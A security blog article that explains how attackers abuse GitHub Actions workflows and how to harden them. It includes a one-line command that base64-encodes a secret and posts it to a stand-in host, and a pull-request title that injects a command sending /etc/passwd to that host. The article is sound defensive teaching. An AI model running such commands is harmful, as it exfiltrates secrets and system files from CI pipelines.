GitHub Actions Security: Common Attack Paths Explained

📅 September 30, 2026  |  🏷 General  |  Cyber Security, Information Security, Threat Management

A single malicious pull request merged into a public repository in 2023 gave attackers persistent access to CI/CD secrets belonging to over 35 downstream organizations — all through GitHub Actions. The breach required no zero-day exploit, no sophisticated malware, and no insider threat. It required one misconfigured workflow file and a developer who approved a PR without scrutinizing its YAML contents. That incident, disclosed by security firm Palo Alto Networks’ Unit 42, is not an outlier. It is a preview of the dominant attack surface of modern software delivery pipelines.

GitHub Actions has become the backbone of automated software delivery for millions of organizations. By September 2026, GitHub reports over 100 million developers on the platform, with Actions workflows executing billions of runs per month across public and private repositories. That scale transforms every misconfiguration into a potential enterprise-grade vulnerability. Understanding the specific attack paths that threat actors exploit — not at a conceptual level, but mechanistically — is what separates a hardened pipeline from a liability.

Why GitHub Actions Is a High-Value Target

CI/CD pipelines are attractive to attackers for a fundamental reason: they occupy a privileged position between source code and production infrastructure. A successful compromise grants access not just to repository contents, but to the cloud credentials, API tokens, SSH keys, and deployment targets that workflows routinely consume. GitHub Actions compounds this by executing arbitrary code in response to repository events — pull requests, issue comments, workflow dispatches — many of which can be triggered by unauthenticated external users.

The GITHUB_TOKEN and Permissions Sprawl

Every workflow execution receives an automatically provisioned GITHUB_TOKEN — a short-lived credential scoped to the repository. By default, in repositories created before 2023, this token carries write permissions across the entire repository. An attacker who can execute arbitrary commands within a workflow can use this token to push commits, modify branch protection rules, create releases, or exfiltrate secrets. GitHub’s 2022 shift toward read-only default permissions was a meaningful improvement, but it introduced a new danger: developers frequently override these defaults by explicitly granting write-all permissions without understanding the blast radius.

The 2024 Aqua Security “Software Supply Chain Security Report” found that 37% of analyzed GitHub repositories with Actions workflows had overly permissive GITHUB_TOKEN configurations, with 18% granting write access to sensitive scopes including contents, packages, and pull-requests.

Attack Path One: Malicious Third-Party Actions

The GitHub Actions Marketplace contains over 20,000 community-contributed actions as of mid-2026. Each action referenced in a workflow is a dependency — and like any dependency, it can be compromised, abandoned, or deliberately weaponized. This attack surface manifests in three distinct forms: dependency confusion, action hijacking, and typosquatting.

The Risks of Mutable Action References

The most common misconfiguration is referencing a third-party action by a mutable tag rather than an immutable commit SHA. When a workflow specifies uses: actions/checkout@v4, it resolves to whatever commit that tag points to at execution time. A threat actor who compromises the upstream action’s repository can retag v4 to point to a malicious commit, instantly affecting every downstream workflow that references it — with no warning, no approval gate, and no audit trail visible to the consuming organization.

This is precisely what happened in the March 2025 tj-actions/changed-files supply chain attack, where attackers compromised the action’s repository and modified it to exfiltrate CI secrets to a remote server. Over 23,000 repositories were affected within 48 hours before the action was pulled. Organizations that had pinned their workflows to specific commit SHAs were unaffected. Those using version tags were not.

The remediation is straightforward but rarely implemented at scale: pin every external action to a full-length commit SHA (uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683), and automate SHA rotation using tools like Dependabot or Renovate with custom presets for Actions dependencies.

Attack Path Two: Pwn Requests via Pull Request Triggers

The pull_request_target event is one of the most dangerous constructs in GitHub Actions and one of the least understood by the developers who use it. Unlike the standard pull_request event — which executes in the context of the fork and has no access to parent repository secrets — pull_request_target executes in the context of the target repository. This means it has access to secrets, the GITHUB_TOKEN with its full permissions, and any cloud credentials stored in the environment.

How the Pwn Request Attack Works

The attack sequence is deceptively simple. An external contributor forks a public repository that uses pull_request_target. They submit a pull request that modifies workflow files or injects malicious scripts into steps that are executed as part of the automated CI process. Because the workflow runs in the privileged context of the target repository, any code the attacker controls that executes within that workflow has access to the same secrets as a trusted maintainer.

Security researcher Omer Gil documented this attack pattern in 2021, and it remains actively exploited. A 2025 audit by Wiz Research found that among Fortune 500 companies with public GitHub repositories, 14% had at least one workflow using pull_request_target that also checked out code from the PR branch — the precise combination that enables this attack. The fix requires either eliminating the use of pull_request_target entirely, or ensuring that any code checked out from an untrusted PR branch is never executed within that privileged context.

Attack Path Three: Secret Exfiltration and Environment Variable Injection

Secrets stored in GitHub’s encrypted secrets store are masked in workflow logs, but masking is not encryption — it is pattern matching applied to log output. An attacker who can execute arbitrary shell commands within a workflow has multiple techniques available to exfiltrate secrets without triggering log masking.

Encoding, Chunking, and DNS-Based Exfiltration

Because GitHub masks the literal string value of a secret in logs, attackers use encoding transforms (Base64, hex) to obscure the value before printing or transmitting it. A single line like echo $SECRET | base64 | curl -d @- attacker.io exfiltrates the secret without producing a masked log entry. DNS exfiltration — embedding secret data in subdomain lookups — is even more difficult to detect, as it bypasses most egress controls applied to HTTP/HTTPS traffic.

Environment variable injection is a related threat. Workflow steps can write to $GITHUB_ENV to export environment variables for subsequent steps. An attacker who controls any step — through a compromised action, an injected script, or a malicious PR — can overwrite variables consumed by later steps, redirecting authentication tokens, modifying deployment targets, or poisoning build artifacts.

The 2024 GitHub Security Lab report identified environment variable injection as the second most frequently exploited technique in CI/CD compromises after secret exfiltration, appearing in 29% of documented pipeline attack chains.

Attack Path Four: Self-Hosted Runner Compromise

GitHub-hosted runners are ephemeral: each job executes in a fresh virtual machine that is destroyed upon completion. Self-hosted runners — machines that organizations provision themselves to execute workflows — are often persistent, networked, and operating with elevated privileges on internal infrastructure. When a self-hosted runner is compromised, the attacker doesn’t gain access to a disposable VM; they gain a foothold inside the corporate network.

Lateral Movement from Compromised Runners

Self-hosted runners frequently run with service accounts that have broad filesystem access, network reachability to production systems, and pre-authenticated connections to cloud providers. A workflow that executes malicious code on a self-hosted runner can enumerate the network, pivot to adjacent systems, exfiltrate data over the runner’s existing network connections, or install persistence mechanisms that survive workflow completion.

In Q1 2025, Mandiant responded to an incident where a threat actor exploited a pull_request_target misconfiguration on a public repository to execute code on the target organization’s self-hosted runner. Within six hours, the attacker had enumerated the internal AWS environment using instance metadata service credentials accessible from the runner, and had created IAM backdoors. The initial access required no credentials — only the ability to open a pull request against a public repository.

Mitigation for self-hosted runner risks requires architectural discipline: never use self-hosted runners on public repositories, isolate runners in dedicated network segments with minimal egress rules, run runners as low-privilege service accounts, and implement ephemeral runner configurations using tools like actions-runner-controller on Kubernetes, which provisions fresh containers per job and destroys them on completion.

Attack Path Five: Workflow Injection via Untrusted Input

GitHub Actions workflows frequently incorporate user-supplied data — pull request titles, branch names, issue bodies, commit messages — directly into shell commands or script steps. When this data is interpolated without sanitization using GitHub’s ${{ }} expression syntax, it creates a server-side script injection vulnerability analogous to SQL injection but with the execution context of a privileged CI environment.

Expression Injection in Practice

Consider a workflow step that includes run: echo "PR title is ${{ github.event.pull_request.title }}". An attacker submits a pull request titled "; curl -d "$(cat /etc/passwd)" attacker.io; echo ". When the workflow executes, the shell interprets the injected payload as commands, not data. The attacker has achieved remote code execution within the workflow with a PR title change.

GitHub’s recommended defense — assigning user-controlled values to intermediate environment variables and referencing the variable in the shell rather than the raw expression — is documented but frequently ignored. A 2026 analysis by Semgrep of 50,000 public Action workflow files found that 8.3% contained at least one expression injection vulnerability, with github.event.pull_request.title, github.head_ref, and github.event.issue.body being the most commonly injected contexts.

Key Takeaways

• Pin third-party actions to immutable commit SHAs, not mutable version tags. The tj-actions supply chain attack demonstrated that even widely trusted, maintained actions can be compromised with immediate downstream impact across thousands of repositories.
• Treat pull_request_target as a privileged execution context. Never check out and execute code from an untrusted PR branch within this event trigger. Prefer pull_request for workflows that must run against fork code.
• Apply least-privilege to GITHUB_TOKEN. Explicitly declare the minimum required permissions in every workflow file using the permissions: key. Default to contents: read and escalate only when necessary.
• Self-hosted runners on public repositories are an unacceptable risk. Isolate self-hosted runners on private repositories, implement ephemeral runner architectures, and treat runner host machines as potential pivot points requiring network segmentation.
• Sanitize all untrusted input before using it in shell steps. Assign ${{ github.event.* }} expressions to environment variables and reference the environment variable in your shell commands to prevent expression injection attacks.

Conclusion: Operationalizing GitHub Actions Security

The attack paths described here share a common thread: they exploit trust relationships that organizations extend to their CI/CD pipelines without explicit deliberation. Developers trust that version tags are stable. Operators trust that self-hosted runners are isolated. Engineers trust that log masking prevents secret exposure. Each of these implicit trusts, when unexamined, becomes an exploitable assumption.

Hardening GitHub Actions is not a one-time configuration exercise — it is an ongoing governance discipline. Begin by running StepSecurity’s Harden-Runner action in your critical workflows to get runtime visibility into network egress and file system access during CI execution. Follow that with a full audit of your workflow files using semgrep-rules for GitHub Actions or Zizmor, the purpose-built static analysis tool for Actions security. Establish a policy requiring SHA pinning for all external actions and enforce it through a custom GitHub Actions policy or a pre-merge Zizmor scan in your own CI pipeline.

Schedule a workflow security review for your five most critical repositories this week. Not next quarter — this week. The threat actors targeting CI/CD pipelines are not waiting for your roadmap to align.